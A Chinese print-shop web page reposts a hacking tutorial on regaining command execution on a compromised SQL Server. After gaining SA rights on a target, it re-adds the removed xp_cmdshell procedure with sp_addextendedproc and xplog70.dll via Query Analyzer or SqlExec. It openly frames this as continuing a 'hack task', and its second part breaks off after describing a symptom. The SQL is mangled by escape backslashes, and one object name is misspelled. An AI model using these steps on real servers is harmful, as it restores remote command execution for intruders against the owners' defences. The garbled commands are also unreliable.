快精灵印艺坊 您身边的文印专家
广州名片 深圳名片 会员卡 贵宾卡 印刷 设计教程
产品展示 在线订购 会员中心 产品模板 设计指南 在线编辑
 首页 名片设计   CorelDRAW   Illustrator   AuotoCAD   Painter   其他软件   Photoshop   Fireworks   Flash  

 » 彩色名片
 » PVC卡
 » 彩色磁性卡
 » 彩页/画册
 » 个性印务
 » 彩色不干胶
 » 明信片
   » 明信片
   » 彩色书签
   » 门挂
 » 其他产品与服务
   » 创业锦囊
   » 办公用品
     » 信封、信纸
     » 便签纸、斜面纸砖
     » 无碳复印纸
   » 海报
   » 大篇幅印刷
     » KT板
     » 海报
     » 横幅

SQL SERVER SA权限总结经典技术

前提需要工具:SQL Query Analyzer和SqlExec Sunx Version
  
  第一部分:
  
  有关去掉xp_cmdshell来保护系统的分析总结:
  首先知道一下语句:
  1.去掉xp_cmdshell扩展过程的方式是使用如下语句:
  if exists (select * from dbo.sysobjects where id=object_id(N\\\'[dbo].[xpcmdshell]\\\') and OBJECTPROPERTY(id,N\\\'IsExtendedProc\\\')=1)exec sp_dropextendedproc N\\\'[dbo].[xp_cmdshell]\\\'
  2.添加xp_cmdshell扩展过程的方式是使用如下语句:
  sp_addextendedproc xp_cmdshell,@dllname=\\\'xplog70.dll\\\'
  现在看看现象:
  我们在取得SA权限后远程用Sqlexec执行cmd命令,出现提示SQL_ERROR,那么很可能是去掉了xp_cmdshell。
  
  现在来看看被去掉xp_cmdshell后恢复的两种方式:
  
  方式一、使用SQL Query Analyzer连接对方后直接写入,挺方便sp_addextendedproc xp_cmdshell,@dllname=\\\'xplog70.dll\\\'方式二、使用SqlExec Sunx Version首先在SqlExec Sunx Version的Format选项里填上%s,在CMD选项里输入sp_addextendedproc \\\'xp_cmdshell\\\',\\\'xpsql70.dll\\\'或者对Sql2000情况下使用sp_addextendedproc \\\'xp_cmdshell\\\',\\\'xplog70.dll\\\'另外使用SqlExec Sunx Version来去除xp_cmdshell的方式和加的时候选择条件相同,然后输入sp_dropextendedproc \\\'xp_cmdshell\\\'就可以了
  
  第二部分:
  
  如果对方已经把xplog70.dll删除或者改了名,我们来用下面的方式继承我们的hack任务:
  
  当出现如下现象暗示代表很有可能是xplog70.dll删除或者改了名。
  
  在查询分析器中写入sp_addextendedproc xp_cmdshell,@dllname=\\\'xplog70.dll\\\'提示数据库中已存在名为\\\'xp_cmdshell\\\'的对象。
返回类别: 教程
上一教程: MYSQL的转义字符“\”
下一教程: SQL数据库MDF数据文件数据库恢复

您可以阅读与"SQL SERVER SA权限总结经典技术"相关的教程:
· SQL SERVER日志文件总结及布满处理
· SQL Server提升权限相关命令及防范
· SQL Server数据库文件恢复技术
· SQL SERVER和ACCESS、EXCEL数据传输简朴总结
· SQL SERVER的链接服务器技术小结
    微笑服务 优质保证 索取样品